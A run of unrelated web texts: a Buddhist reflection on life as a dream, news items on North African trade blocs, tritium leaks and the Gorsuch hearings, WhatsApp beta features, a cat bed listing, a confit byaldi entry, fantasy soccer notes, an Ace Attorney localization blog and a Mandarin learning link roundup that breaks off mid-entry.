consciousness, solid, real, inherently existent, “out there”, existing from their own side. There seems to be a gap between us and everyone else, between our mind and our world, whereas the truth is that everything depends entirely upon our mind, just like objects in a dream. Just a dream! In a dream everything feels real and vivid, it seems to exist out there, independent of our mind. Yet when we wake up, we realize it was made up by our mind. “Ah! I made this up! It’s just a dream! I projected the whole thing, it’s gone! It just came from my mind and then I thought it was out there, and I got really het up about all these things, and hmm, what was all that about?” We’ve been doing this for years and years already, just in this life, every time we fall asleep at night. We still haven’t got it, have we?! We wake up every morning, “Ah, that was just a dream!” We fall asleep again at night, “Hey, what’s going on here?” Panic. Falling in love with people. Running away from other people. We wake up, “Oh, it’s just a dream.” We’ve done this thousands of times, and still it hasn’t alerted us to the fact that, every time we dream, everything that appears to us is a projection of our mind that we are grasping at as real. When I have a problem that seems intractable I imagine having it in a dream. I was talking to a good friend the other day who has just been through divorce. Not un-understandably, he felt disappointed and let down, like a victim, like it had nothing to do with him. This made him feel helpless and angry, with no clear way forward. He has a good understanding of Buddhism so I asked him: “If you had divorced in a dream, who would have been responsible for that?” If we understand that everything is a mere projection of our own mind, like a dream, we can see how we are responsible for what appears to our mind, for what happens to us. Knowing this always gives us a way to move forward, by changing our mind rather than bashing our head against an intractable brick wall. And when we change our mind, the situation itself changes – the brick wall does come down. He didn’t become undivorced, but the situation no longer appeared dire, and he got his mojo back. Like this? Please share it: Facebook Twitter Reddit Print Email Pocket Google LinkedIn Tumblr Pinterest WhatsApp Skype Like this: Like Loading... Related -The United Nations Economic Commission for Africa (UNECA) warned yesterday that new memberships of Maghreb countries to African economic unions might lead to the dissolution of the Arab Maghreb Union (AMU), Anadolu reported. In a report issued in Morocco the UNECA said that the North African region has recently signed several trade deals. The AMU was established on 17 February 1989 in Marrakesh and included five countries: Libya, Tunisia, Algeria, Morocco and Mauritania. It aimed to open the borders between the five countries to facilitate the movement of people and goods and establish security cooperation. According to the UNECA report Morocco and Mauritania have recently joined West Africa’s economic bloc. Read: Morocco expands Africa policy, opens Africa-Atlantis business school Tunisia is been preparing to join the Common Market for Eastern and Southern Africa (COMESA), which is a free-trade area with 20 member states stretching from Libya to Swaziland and is set to sign the deal later this month. The UN report also stated that Algeria has already started talks to join COMESA too. “It is impossible to deny that these deals open attractive economic horizons for the Arab Maghreb countries,” the report stressed, noting that these deals could replace the AMU. It also said that these developments raise doubts about the intention of the AMU members about finding a solution to ongoing hardships. Since 1994 the AMU has not convened due to differences between Algeria and Morocco over the Western Sahara. Algeria closed its borders to Morocco in 1994. -The Vermont Yankee nuclear power plant in Vernon, VT, is leaking radioactive tritium. Photo via nrc.gov. Guest blogger Cara Smusiak is a journalist and regular contributor to NaturallySavvy.com's Naturally Green section. UPDATE: This post has been updated from its original version on 2/04/10. Would you like a little radioactive tritium with your water? As far fetched as it sounds, the Associated Press recently reported that at least 27 of 104 nuclear reactors across the United States are leaking potentially dangerous levels of tritium into the groundwater around the plants. The scope of the problem surfaced after the recent discovery of a leak at the Vermont Yankee nuclear plant. According to the AP, new tests have shown that the levels of tritium in the wells at the Vernon, Vermont site are more than three-and-a-half times the federal safety standard.This comes hot on the heels of President Obama's interest in nuclear power, which included a call for "building a new generation of safe, clean nuclear power plants" in last week's State of the Union address, plus $54.5 billion earmarked for nuclear power projects. Vermont Yankee isn't the first case of a U.S. nuclear power plant leaking tritium, the AP article reveals. In the 1990s, leaks from the Braidwood nuclear station in Illinois contaminated local wells, and owner Exelon Corp. had to provide a new municipal water system. The Oyster Creek nuclear plant in Ocean County, New Jersey, was found to be leaking tritium just last year -- "just days after Exelon won NRC approval for a 20-year license extension there," the AP reports. And there have been more. The source of the leaks can be any number of things, including corroded underground pipes, and leaks in the spent fuel storage pools. So is it as bad as it sounds? That's up for debate. Information on the Tritium page of Idaho State University's physics department, there is no risk via skin contact because it can't get past the outer layer of dead skin cells--which is why Tritium is used in so many products. But, as the webpage states: ...the main hazard associated with tritium is internal exposure from inhalation or ingestion. In addition, due to the relatively long half life and short biological half life, an intake of tritium must be in large amounts to pose a significant health risk. Although, in keeping with the philosophy of ALARA [As Low As Reasonably Achievable], internal exposure should be kept as low as practical. The National Academy of Sciences takes a stronger stance, concluding that any amount of ionizing radiation increases cancer risk, but radiation biologist Jacqueline Williams, who works at University of Rochester Medical Center, told the AP the risk is minimal: Somebody would have to be drinking a lot of water and it would have to be really concentrated in there for it to do any harm at all. These are industrial facilities, and any industrial facility from time to time is going to have equipment problems or challenges. Not every operational issue rises to the level of being a safety issue. Nuclear Energy Institute spokesman Steve Kerekes also told the AP there may be little cause for concern: It may be an operational issue, but it's one that is causing radioactive material to enter the groundwater at levels far in excess of safety standards. And while human health is a concern in any case involving radioactive contamination, let's not forget that any leaks will also effect the local ecosystems, impacting the health of local wildlife, particularly vulnerable aquatic species. More on Nuclear Power Will The New Decade Bring the US New Nuclear Energy? Portable Backyard Nuclear Reactors Ready to be Installed by 2013 New Generation of Nuclear Power Plants More Expensive than Expected -Here are highlights from Judge Neil M. Gorsuch’s third day at his Senate confirmation hearings: ■ Senator Dianne Feinstein, a Democrat, asked Judge Gorsuch why, when he was a Bush administration Justice Department official in 2005, he had scribbled “yes” on a document beside a question about whether C.I.A. torture of terrorism suspects had yielded valuable intelligence. He said was merely acting as a lawyer. ■ Senator Patrick J. Leahy, a Democrat, pushed Judge Gorsuch to say whether a president has constitutional powers to lawfully override torture and wiretap statutes. Judge Gorsuch said he would approach such a case using analysis set out when President Harry S. Truman tried to seize steel mills. ■ Mr. Leahy also pressed Judge Gorsuch to say whether he would recuse himself from Supreme Court cases involving the Colorado billionaire Philip Anschutz, who was a former client and helped get him appointed to the appeals court. Judge Gorsuch did not answer directly. ■ The nominee would not discuss whether President Trump’s business dealings with foreign governments might run afoul of the Emoluments Clause, an obscure constitutional provision that the judge said “has sat in a rather dusty corner” until recently. -A few weeks ago, we reported about WhatsApp's plans to add a voicemail-like feature to its voice calls as well as an easy option to call back the person. At the time, all we had were translation strings, but now the feature is live on version 2.16.189 beta (which you can grab from APK Mirror here or by joining the Play Store beta). There are two other small features that were added a few beta versions ago that I'll cover in this post as well. Voicemail and Call back After you make a voice call on WhatsApp and your contact either declines the call or it goes unanswered, you will see a new "Call declined" screen with three new round buttons. One is to cancel and go back to the conversation, one is to place another call, and the last one is to record a voice message. The latter is similar to leaving a voicemail on regular phone calls. None of these were impossible before. After a call was declined or unanswered, you used to be thrown back into the chat where you could easily call again or record a voice message to send to your contact. But the options are now integrated with the chat and just a tad bit easier and more intuitive to do. FixedSys font The other new feature available in WhatsApp is a new Fixedsys font, which you can use to differentiate a quote or a piece of code (we all talk to developers all the time on WhatsApp, don't we? Oh... it's just me) for example. To trigger it, you have to start and end your sentence(s) with ``` and no spaces between it and the first or last characters, like so: ```this is fantastic```. Waiting for a message There's one more "feature" that you might have started seeing on WhatsApp a few versions ago: a "waiting for this message" uhm... message when you're talking to someone. It only seems to show up when WhatsApp knows it should deliver a text message to you, but it hasn't grabbed all of it yet. But since WhatsApp's messages are just text and so light, then odds are they'll reach you before there's any reason to display that "waiting" bubble. I've only seen it once and even then, it was just there for less than a second. These are all small changes to the app. We're still waiting for video calls, gif support, public group links with NFC and QR Code sharing, and more. In the meantime, you can grab the latest 2.16.189 beta to make the waiting a little more tolerable. -Danish Design Kumfy Kradle Leopard Radiator Cat Bed (WIDE) Your cat will be snug and warm on this radiator cat bed! They’ll look so cozy you’ll want to climb on yourself! It hooks over your radiator and has a removable, washable cover. KKLW Size: Narrow Features: -Colour: Leopard.-With a striking leopard print cover.-Simply hook the bed over your radiator and this stunning faux fur radiator bed will put your cat in the lap of luxury.-Life Stage: Adult; Kitten.-Shape: Rectangle.-Product Type: Radiator Bed.-Collection: Kumfy Kradle.-Distressed: No.Dimensions: -Overall Height - Top to Bottom: 28.-Overall Width - Side to Side: 40.-Overall Depth - Front to Back: 50. Stylish Leopard Print Design Removable, Washable Cover Create a Snug Warm Place For Your Cat To Nap Suitable For Double Panel Radiators Max. Load 12kg This product is discontinued. See these similar products instead: Know More / Order Show Similar Products -Confit byaldi is a variation on the traditional French dish ratatouille by French chef Michel Guérard. History [ edit ] The name is a play on the Turkish dish "İmam bayıldı", which is a stuffed eggplant.[1][2] The original ratatouille recipe had the vegetables fried before baking. Since at least 1976, some French chefs have prepared the ratatouille vegetables in thin slices instead of the traditional rough-cut. Michel Guérard, in his book founding cuisine minceur (1976),[3] recreated lighter versions of the traditional dishes of nouvelle cuisine.[4] His recipe, Confit bayaldi, differed from ratatouille by not frying the vegetables, removing peppers and adding mushrooms. American celebrity chef Thomas Keller first wrote about a dish he called "byaldi" in his 1999 cookbook, The French Laundry Cookbook.[5] Keller's variation of Guérard's added two sauces, a tomato and peppers sauce at the bottom (pipérade), and a vinaigrette at the top.[6][7] He served as food consultant to the Pixar film Ratatouille, allowing its producer, Brad Lewis, to intern for two days in the kitchen of his restaurant, The French Laundry. Lewis asked Keller how he would cook ratatouille if the most famous food critic in the world were to visit his restaurant.[1] Keller decided he would make the ratatouille in confit byaldi form, and fan the vegetable rounds accordion-style with a palette knife.[8] Preparation and serving [ edit ] Vegetable rounds arranged on a baking tin Per Thomas Keller's recipe, a pipérade is made of peeled, finely chopped, and reduced peppers, yellow onions, tomatoes, garlic, and herbs. The piperade is spread thinly in a baking tray or casserole dish, then layered on top with evenly sized, thinly sliced rounds of zucchini, yellow squash, Japanese eggplant, and roma tomatoes, covered in parchment paper, then baked slowly for several hours to steam the vegetables. The parchment is removed so that the vegetables may then roast, acquiring additional flavor through caramelization. To serve, the piperade is formed into a small mound, and the rounds arranged in a fanned-out pattern to cover the piperade base. A balsamic vinaigrette is drizzled on the plate, which may be garnished.[9][10] Despite the delicate preparation and presentation, confit biyaldi, like most ratatouilles, improves with age overnight in the refrigerator.[5] See also [ edit ] -Round 5 has just finished and with a quick turnaround before Round 6 (Deadline Apr 13 8:30pm EDT), here are the FMLS takeaways from all the matches over the past weekend! Philadelphia Union (2) – (1) Orlando City SC MOTM – Kaka ($10.8) 7pts Although it wasn’t a double digit haul, Kaka’s 7 points with out a goal/assist is the type of performance you want in your squad as the goals/etc will come. WATCHLIST – CJ Sapong ($8.1) 7pts Sapong once again looked dangerous throughout after putting a goal in the net early on. Thats his 3rd on the year will look to continue his scoring ways against the struggling Sounders. Montreal Impact (2) – (0) Columbus Crew SC MOTM – Ignacio Piatti ($10.5) 7pts Although it wasn’t a double digit haul, Piatti’s 7 points with out a goal/assist is the type of performance you want in your squad as the goals/etc will come. WATCHLIST – Victor Cabrera ($7.3) 11pts 4 defensive bonus on top of a clean sheet, and all for $1.5 cheaper than Ciman? Aaaand a favorable schedule leading up to their DGW in Round 8? Better bring him in before his price gets too high! New England Revolution (1) – (1) Toronto FC MOTM – Sebastian Giovinvo ($11.9) 8pts The Atomic Ant was once again on the scoresheet and somewhat justified his price tag? With multiple DGW forwards doing just as good or better than Gio, his place in many squads is in jeopardy. WATCHLIST – Jozy Altidore ($9.5) 4pts Jozy’s first start on the year and he’s back to assisting Giovinco. However, I’m still leery of the lingering hamstring injury and the next three matches being away from home certainly don’t help his cause either. D.C. United (4) – (0) Vancouver Whitecaps MOTM – Espindola ($10.1) 14pts, Saborio ($7.7) 11pts, Acosta ($8.8) 9pts Espindola was fit enough to start the match while the other two, Saborio and Acosta, were able to do their damage in substitute appearances. Should all three begin to get starts, take note. WATCHLIST – Tim Parker ($6.5) 1pt With Pedro Morales out injured, Vancouver looked lackluster offensively. After letting in 4 goals against DC, I look for them to shore up their defense in the upcoming rounds. New York Red Bulls (0) – (2) – Sporting Kansas City MOTM – Dom Dwyer ($10.2) 10pts Dwyer notched his 3rd goal, his 2nd assist of the season, and looks primed to produce well in the upcoming DGW with Feilhaber pulling the strings in the midfield. WATCHLIST – Ike Opara (7.0) 5pts Opara has fully recovered from his injury and racked up 5 points in 50 mins after being substituted for the injured Kevin Ellis. With Bester’s status still unknown, Opara could be a 180min def for SKC’s DGW. FC Dallas (2) – (2) San Jose Earthquakes MOTM – Quincy Amarikwa ($7.6) 10pts #Quincytime is once again in effect with his 2 assists. His price tag and expected output make for a perfect match to free up cash for the upcoming DGW. WATCHLIST – Mauro Diaz ($10.6) and Clarence Goodson ($7.6) Each player again missed out through injury and are unsure if they’ll be back for the upcoming DGW. Refer to MLSFB or R/FantasyMLS for future updates! Real Salt Lake (1) – (0) Colorado Rapids MOTM – Joao Plata ($9.5) 10pts Plata has been involved in nearly every goal that RSL has scored (7 out of 9). If not for upcoming DGW’s, he should be in every team. WATCHLIST – Axel Sjoberg (5.5) 4pts A Starting CB with his price-tag and a DGW in Round 6 makes Axel a perfect way to free up cash for other DGWers if needed. Houston Dynamo (1) – (1) Seattle Sounders MOTM – Giles Barnes ($8.6) 8pts Barnes returned from the injury suffered in Round 2 and was immediately back on the score sheet with his looping chip off an Anibaba throw in. WATCHLIST – Cristian Maidana ($9.1) 5pts Maidana is another returnee from injury and although he didn’t light up the score sheet, look for him to do so as the attack gels once again. New York City FC (0) – (0) Chicago Fire MOTM – Matt Lampson ($4.7) 9pts Lampson continues to show the form that supplanted what many thought was Sean Johnson’s stronghold on the goalkeeper position. A 3rd clean sheet in a row should have managers (myself included) thinking about starting him instead of leaving all those points on the bench! WATCHLIST – David Villa ($11.1) 4 pts Again Villa “blanked” but was unlucky to not have a goal or two. He was also one away from 3 extra bonus. Look for him to break through next week against Columbus. Los Angeles Galaxy (1) – (1) Portland Timbers MOTM – Fanendo Adi ($10.0) 7pts Adi once again found the back of the net but we weren’t lucky enough to see a penalty call so we can figure out if he will give way to the almighty Valeri! Both Adi and Valeri are near essential for their upcoming DGW in Round 6. WATCHLIST – Sebastian Lletget ($8.0) 6pts Lletget didn’t get on the score sheet but he certainly passed the eye test so look for the attacking returns to start climbing once the Galaxy get their mojo back. Share this: Tweet Email Print -MORE INFO Apollo Justice: Ace Attorney is out NOW! :D Mood: Lifetime Points: Last Activity: Dec 17, 2018 Joined: Sep 19, 2013 Friends: Profile Views: Location: Osaka Posts: Comments: Photos: Likes: About: Janet Hsu from Capcom Japan here. Twelfth year, and boy have I been privileged to work as the Localization Director and/or lead translator on some awesome text-heavy titles such as Ghost Trick: Phantom Detective, Monster Hunter Freedom Unite, Monster Hunter Tri, Mega Man Legends 3, and of course, the Ace Attorney series. Loading... Forum Activity There has been no recent activity. Groups Ace Attorney Official Capcom Blog Ghost Trick Recent Favorites There has been no recent activity. Janet Hsu Profile Blog Media Friends Groups Events Wall Ace Trivia: Smorgasbord of Justice Well, here we are – less than one week away from the launch of Phoenix Wright: Ace Attorney – Spirit of Justice on September 8th! I hope everyone’s been enjoying the Nintendo 3DS demo. If you haven’t tried it yet, *gasp* then what are you waiting for? A personal invitation? Well, luckily, I have one of the game designers, Mr. Daigo, here today to tell us about what in this demo makes it extra special. Plus, I have some extra designer and cultural notes about Rayfa and Nahyuta’s designs, and other random trivia floating about, so pull up a chair and enjoy this week’s dev and loc blog! ------------------------------------------------------------------------ A Revolutionary Demo Hi, everyone. I’m game designer Yoriki Daigo. I’m here today to talk about my long history of fighting to the death with the director, Mr. Yamazaki. I mean, considering how we first met... What? I can’t talk about that? It’s not interesting, and too graphic... Plus, there’s a downloadable demo on the Nintendo 3DS eShop to talk about? But what about all those people who’ve already tried the demo at events like E3, Anime Expo, and San Diego Comic-Con this year? Well, actually...! The downloadable demo is even better than the version you tried! We’ve powered it up with the following four things: 1) A teaser trailer! 2) The Dance of Devotion! 3) Shah’do! 4) The main game’s opening sequence! Let’s take a closer look at each of these power ups. 1) A teaser trailer! Clear the demo to see an exclusive new trailer! 2) The Dance of Devotion! The downloadable demo features the sacred dance Rayfa performs at the beginning of each Divination Séance, which you can watch to your heart’s content. But for those of you who’d rather hurry and get to the Divination Séance itself, fear not! We have made this scene skippable just for you. 3) Shah’do! This lovable little doggie, Shah’do, makes an appearance in the downloadable demo. Just when he makes his appearance is something you’ll have to play to find out! 4) The main game’s opening sequence! We’ve added both the full game’s opening anime and Episode 1’s opening to the demo. (From the opening anime for Spirit of Justice) (From the Episode 1 opening in Spirit of Justice) Speaking of the Episode 1 opening, Mr. Yamazaki had a big smile on his face one day when he came up to me and said... Yamazaki: “So, I had this amazing thought...” Daigo: “And?” Yamazaki: “And I was thinking we could have a bunch of different images appear on the surface of the treasure box in the opening sequence.” Daigo: “Hey, that’s not a bad idea!” I gathered the art designers and programmers at once, and they told me that as long as it wasn’t in 3D, they could probably make some sort of movie of what he was envisioning. Daigo: “They said they’ll probably be able to pull it off, but it might be tough if it’s in 3D.” Yamazaki: “What? But the game’s on the Nintendo 3DS, so it should be in 3D.” Daigo & designers & programmers: “Gnarrrrgh!” There was blood pouring from the designers and programmers’ eyes. At this rate, I was afraid that the last thing I’d see in this world was going to be my fellow team members as they descended on me. However, everyone agreed that it would be better to have the opening be in 3D. And so, they went about trying to figure out how to do it. They figured that if they could get pictures to appear on a still box, then they could probably find a way to make it 3D. That’s when Mr. Yamazaki said... Yamazaki: “Um... Can we make this box rotate somehow?” Daigo & designers & programmers: “NoooooOOOOOOOOOO(screen flash) oooooOOOOooooooooooo!(*smack* *smack* *break*)” Everyone had a mini-breakdown all at once, but this talented team wasn’t about to be beaten. We all agreed it would be cool to have the treasure box spin, so, even though I have no idea how they did it, the art designers and programmers worked together and managed to make the box turn – and in 3D. I couldn’t believe it. I... I was saved! No one would need to divine what had happened to me through a Divination Séance! Or so I thought, because Mr. Yamazaki just couldn’t be stopped! Yamazaki: “Um... Actually... do you think you could... "...make the box look like it’s is coming out of the picture in this scroll?” Nngh... NNNNGGGGHHHOOOOOOOOOOHHH!!! It’s time for a revolution! And that’s how the evil Mr. Yamazaki was overthrown and how peace came to the Spirit of Justice team☆ ...Huh. Well, what do you know? My story somehow ended up being about how Mr. Yamazaki and I fought to the death anyway! In any case, I hope you’ll check out how the spinning box turned out for yourself in the opening of the downloadable demo for Nintendo 3DS. *This entry is a work of fiction. The characters of “the evil Mr. Yamazaki,” “the designers,” “the programmers,” and “Daigo” are in no way related to their real-life counterparts – in fact, we’re actually all very good friends. Furthermore, all of the ideas discussed above were given by the dev team as a whole. However... The fact that we kept refining features like this in order to make something even better IS NOT A WORK OF FICTION! Yamazaki: “...You know, I don’t mind that you made me out to be the bad guy in this, but... isn’t this entire entry structured almost exactly like the one you wrote for Dual Destinies? Plus, isn’t the whole "rebelling against some crazy impossible task" thing exactly the same as my entry? Hmph, not one for originality, are you? Heh heh heh. Daigo: “Aaaaaaaaaargh... You want me to revolutionize your face?!” Yamazaki: “Aaaaaaah! Wait, did you just steal tha...rgh...” And that is how I disposed of the evil Mr. Yamazaki. *laugh* ­--------------------------------------------------- Well, uh... thanks, Mr. Daigo... But I thought you guys were all “very good friends”? Still, that was quite the tale of technical woe, but the end result was definitely worth it. I remember being wowed by it the first time I saw it for myself. It also set the tone perfectly for the mysterious Kingdom of Khura’in. Speaking of Khura’in, I’d like to share some trivia about Rayfa and Nahyuta’s earlier and final designs that I dug out of Mr. Fuse (I actually just stopped him as he was on his way home today again... Sorry, Mr. Fuse! And thanks for being such a good sport!). Even in her earlier designs (right), you can see that Rayfa was meant to be a full-on priestess, but as the game’s story began to take shape, Rayfa also became the princess of Khura’in. Mr. Fuse added a few elements to denote this aspect of her character with her tiara and regal sleeves. In addition to wanting Rayfa to have a unique hairstyle, her hair was designed in a manner that is reminiscent of Queen Himiko, complete with large loops of hair. This sort of looped hairstyle is also meant to be a reflection of the halo of Khura’inism’s founder, the Holy Mother in the in-game world, as well as a link to the unique hair styles of Maya and Pearl Fey. Her pink dress also underwent some changes and the final outfit is designed after dancer’s clothes since performing the Dance of Devotion is a key part of her job as the royal priestess. Monk with khakkhara (left), miko priestesses with kagura suzu bells (right) The staff that Rayfa carries is another clue that she’s a religious figure, and is fashioned after khakkhara or “Buddhist monk staves”, but that’s not the only clue. The bells around Rayfa’s wrists are based on Japanese suzu bells, which are common at Shinto shrines and also in Shinto ceremonies. As with Buddhism, the jingling sound of a suzu bell is associated with spiritual power. Japanese miko (priestess) and their sacred kagura dances are also linked with the sound of bells. In fact, it’s almost impossible to say “miko” and not think of the sound of suzu bells. Lastly, besides being like the ribbons on the kagura suzu a miko carries, the long ribbon between Rayfa's arms is meant to make her look like a Khura’inese butterfly, and serves to reinforce her role within Khura’inism. A Khura’inese butterfly on a lotus flower. Note how the wing tips are attached at the bottom. When it comes to prosecutors, there is always a certain look that Mr. Fuse tries to achieve. As he talked about back when he was designing Simon Blackquill, an Ace Attorney prosecutor has to have a certain look, and it usually involves a suit or some other type of Western clothing. In this case, Nahyuta’s white jacket is based off of a traditional type of Indian clothing known as sherwani (especially fancy wedding ones) mixed with an English frock coat. We talk a lot about how Nahyuta is not just a prosecutor, but that he is also a devout monk of Khura’inism, but how is that reflected in his design? There are actually a few interesting design elements with meanings you may not be aware of. The first most obvious thing is his floating scarf. While it may seem like a silly piece of fabric, it’s actually another Japanese cultural shorthand that conveys Nahyuta’s holiness and suggests that he is like a god. These scarf-like things are called hagoromo (羽衣, lit: feather clothes) in Japanese, and are worn by Buddhist celestial beings known as tennin and deities such as Nio. Tennin (left), a Nio (right) Hagoromo are the celestial clothing that allows these deities to fly, so in a sense, a character wearing hagoromo is not unlike a character with a pair of angel wings in the West. Speaking of divinity, Nahyuta’s overall character design is very gender neutral, or as Mr. Fuse likes to say, Nahyuta has transcended gender. The team had originally meant for Nahyuta to be whatever gender the player wanted him to be. This aspect of his appearance is also rooted in Hinduism and Buddhism, where a number of deities and gods are either genderless or are portrayed as both genders at once or as alternating between male and female depending on the depiction. As you can see from one of the earlier versions of his design, he was more feminine at one point, so in order to bring him truly to the center of the spectrum, he was given slightly broader shoulders and a slightly more masculine face. Lastly, there is one more hint to his personality in his design: the prayer beads necklace he wears around his neck. Incidentally, it consists of 48 beads. And now, some bonus trivia! If you look really closely, the geometric design on Payne’s sash is actually the first character of his Japanese name, 亜内 (auchi). I guess his new clothes are just as tacky as the man wearing them. Shah’do is said to be a red Tibetan mastiff. If you know anything about how big Tibetan mastiffs get, you know that Shah’do is still just a happy little puppy. The little tuft of hair on the top of Ahlbi’s head is meant to resemble Maya’s top knot, and shows a point of intersection between the cultures of the Kingdom of Khura’in and Kurain Village. There are a number of these shared traits between the cultures of Khura’in and Kurain Village sprinkled throughout the game and in the designs of the characters, so keep your eyes peeled as you play and see how many you can find! Words like "Your Benevolence" and "Your Magistry" are titles we use to substitute for the fact that in English, you call people by titles to show rank and respect. The word “magistry” is not a real word, but a mashup we created of “majesty” and “magistrate” to give the judge an aura of authority in his courtroom. We also use the word “accused” instead of “defendant” in the Khura’inese courtroom since it’s kinda hard to be a defendant if you’re guilty until proven innocent, and there are no lawyers around to, you know, defend you. There are other special names and titles like these that we’ve applied to the Khura’inese court system and culture that are mostly to help flesh out the world a little. And finally, there seems to be some confusion as to where the Kingdom of Khura’in is, with some people thinking it’s in the Middle East! But while it seems like a paradox, this magic trick is quite easy to solve with the help of our friend Klavier Gavin. Athena: あ！牙琉のサインだ！ (A! Garyu no sain da!) “Oh, サイン (sain)!” you might say. That’s the English word “sign”! Well, let’s see what happens if you translate that sentence as “Ah! It’s a Klavier sign!” *Gavinners’ tour poster courtesy of 10 minutes and my mad 1999-era photoshopping skillz. Not exactly the result we were looking for, right? So what’s going on? This is an example of translating without cultural context. Without considering how a word is used within a specific culture, it’s easy to accidentally convey the entirely wrong idea to your target audience. (Heck, this even happens between British and American English with words like “lift” vs. “elevator” and “torch” vs. “flashlight.”) In this case, the sentence should’ve been translated as “Ah! It’s Klavier’s autograph!” Had Athena been talking about the actual sign, she would’ve said 看板 (kanban) instead since sain is only used to mean either an autograph or signature, a mathematical sine, or some sort of cue, like a sign or a signal a baseball catcher might give a pitcher. How does this relate to why アジアの西の果て (ajia no nishi no hate – lit: western edge of Asia) is officially translated in English as “the western edge of the Far East?” Because I wanted to more accurately convey where Khura’in is based on how the Japanese word ajia (アジア) is used. It’s understood among Japanese speakers that when ajia is used in daily life, and even on TV news broadcasts, they are only talking about the countries of East Asia – Japan, Korea, China, and Mongolia. As Wikipedia writers even pointed out: 日本では逆に、しばしば中近東ならびに中央アジアや南アジアを含めず、極端な場合には東南アジアも除いた東アジアのみをさすことがある。 “In contrast [to other cultures’ understandings], the general understanding in Japan is that ajia frequently does not include the Middle East, nor does it include areas like Central Asia or South Asia. In extreme cases, it doesn’t include Southeast Asia either, and only denotes the countries of East Asia.” So it turns out that the original intention of the Japanese description that was meant to be read and interpreted by a Japanese audience is only unambiguously accurate when translated as “the western edge of the Far East/East Asia,” and not “the western edge of Asia,” since even in English, the colloquial usage of “Asia” can vary from person to person and culture to culture to include (or not include) countries such as Turkey or regions such as Central Asia. But there’s actually another reason why a Japanese person would immediately think of the Himalayas and of India in conjunction with a religion like Khura’inism: the exoticism and mystery of India as the birthplace of one of the major religions of Japan – Buddhism – and the pervasiveness of stories like Journey to the West in the Japanese collective conscious. Much as how American Christians, Jews, and Muslims think of Jerusalem as the exotic and foreign birthplace of their religions, an element of mysticism has been infused with the Japanese people’s image of India through Japanese pop culture and immensely influential works like Journey to the West (西遊記, pinyin: Xī Yóu Jì) or “Saiyuki” as it’s transliterated in Japanese (no, not that “Saiyuki”...), which is the story of a monk and his supernatural companions who are on a journey to retrieve some sacred Buddhist scriptures from the Western Regions (or what one might say is “the western edge of the Far East”). India has pretty much always been considered “non-Asian” to the Japanese, since Japanese culture was historically influenced primarily by Chinese culture. So from the Japanese perspective, Indian culture is a familiar, yet utterly different and unique one compared to their own. As a comparison, think about how ancient Greek culture is one step removed from American culture, which is European influenced – it’s familiar because we know their gods and legends, like Hercules, but just far away enough through space and time for it to seem exotic. But ultimately, the reason why I know for sure that Khura’in is on the western edge of the Far East is because I spoke with Mr. Yamazaki and Mr. Fuse to confirm that that is actual region they meant to convey to their audience. ------------------------------------------------- Next Friday – well, you’ll probably be busy playing Spirit of Justice, but if you’re looking to take a break, I’ll be here to give you a look at how the game was put together – literally! It’s time to explore the programming and dramatic presentation scripting sides of Spirit of Justice, and just how we decided on the design of the game's logo. Until then! Catch up on previous blog entries here! 4.6 (4 Ratings) Report Tags: ace attorney dev blog khura'in localization phoenix wright spirit of justice -大家好！ (Hi, everyone!) Welcome to the latest Mandarin Weekly, with yet more links and information for those of us learning Chinese. Please tell your Chinese teachers, fellow students, and others about this free resource. To receive Mandarin Weekly in your e-mail inbox every Monday, just use the subscription box on the left side at MandarinWeekly.com. Or follow us on Twitter, at @MandarinWeekly! New Year traditions Chinese New Year is about to begin, and it’s thus time for us to learn (or re-learn) the words and phrases that have to do with that festival. In this post, we learn about popular traditions among people celebrating Chinese New Year: http://speakupchinese.tumblr.com/post/138224129866/chinese-new-year-traditions Twitter: @SpeakUpChinese Chinese New Year vocabulary Written Chinese also chimes in with a vocabulary list for the Chinese New Year: https://www.writtenchinese.com/chinese-new-year-greetings-useful-cny-words/ Twitter: @WrittenChinese Boom! Crash! Ouch! How do you express certain real-world sounds in Chinese? This article introduces onomatopoeia, Chinese style, with many useful words and phrases: http://www.fluentu.com/chinese/blog/2016/01/27/onomatopoeia-chinese/ Twitter: @FluentU Two ways of saying “two” Why does Chinese have two ways to say “two,” and when is each used? http://mandarin.about.com/od/usingnumbers/fl/Two-ways-of-saying-two-in-Mandarin.htm Useful grammar patterns Certain grammar patterns repeat themselves all of the time in Chinese. In this posting, we learn about two of them, “VERB 一VERB” and VERB + 来／去: http://www.duchinese.net/blog/15-would-you-like-some-goldfish-tea Twitter: @DuChinese Creative ways to express love How can you say “I love you” in Chinese? This video provides us with 13 different ways to express your affection: http://www.fluentinmandarin.com/content/13-ways-to-say-i-love-you-in-chinese/ Twitter: @Fluent_Mandarin Beginner Chinese videos Just starting to learn Chinese? Here are some videos that you can use to get a jump-start on your learning of the language: http://blogs.transparent.com/chinese/10-beginner-chinese-videos/ Twitter: @ChineseLanguage Saying “yes” and “no” LearnChineseNow answers one of the most common questions asked by newcomers to Chinese: How do you say “yes” and “no”? https://www.youtube.com/watch?v=e7kn4dB9MU0 Twitter: @LearnChineseNow A Spanish couple Learn about an elderly Spanish couple in this story, read aloud, with characters and Pinyin: http://chinese-at-ease.com/learn-chinese-online-one-lifetime-one-couple/ Twitter: @ChineseAtEase Chinese pronouns How well do you know your pronouns in Chinese? This chart and introduction from Dig Mandarin should help you to get started and/or serve as a useful reminder: http://www.digmandarin.com/pronouns-in-chinese-characters.html Twitter: @DigMandarin The “knife” radical Another list of characters containing the “knife” radical: http://allaboutchinese.tumblr.com/post/138325682029/allaboutchinese-all-about-chineses-%E9%83%A8%E9%A6%96%E7%B3%BB%E5%88%97 Top Chinese adjectives YuTing from ChineseClass101 provides us with a video, demonstrating and pronouncing 25 common adjectives in Chinese: https://www.youtube.com/watch?v=zZe4hH67UZw Twitter: @chineseclass101 Where are you from? What country are you from? That is a common question you’ll get when in China; with this list, you’ll (probably) be able to answer them: http://blogs.transparent.com/chinese/countries-nationalities-and-languages-in-chinese/ Twitter: @ChineseLanguage Long-distance relationships Seeing someone special? But they live far away? In this video, ChinesePod offers us the chance to learn how to talk about such relationships in Chinese: https://www.youtube.com/watch?v=FHHIkh6PRWM Twitter: @ChinesePod Tiger-related idioms Chengyu, Chinese idoms, are an important part of learning to speak and understand Chinese. Many include tigers. In this posting, we learn about several of the more common tiger-related Chengyu: http://www.digmandarin.com/tiger-stories-and-idioms-in-chinese.html Twitter: @DigMandarin Numbers, from 11 – 100 Want to count from 11 to 100 in Chinese? It’s surprisingly easy, as indicated in this video from ChineseClass101: https://www.youtube.com/watch?v=FPBZqbjlU6Q Twitter: @chineseclass101 Translating nouns Translating from Chinese to English isn’t always so straightforward; in this posting, we get some practice trying to perform such translations: 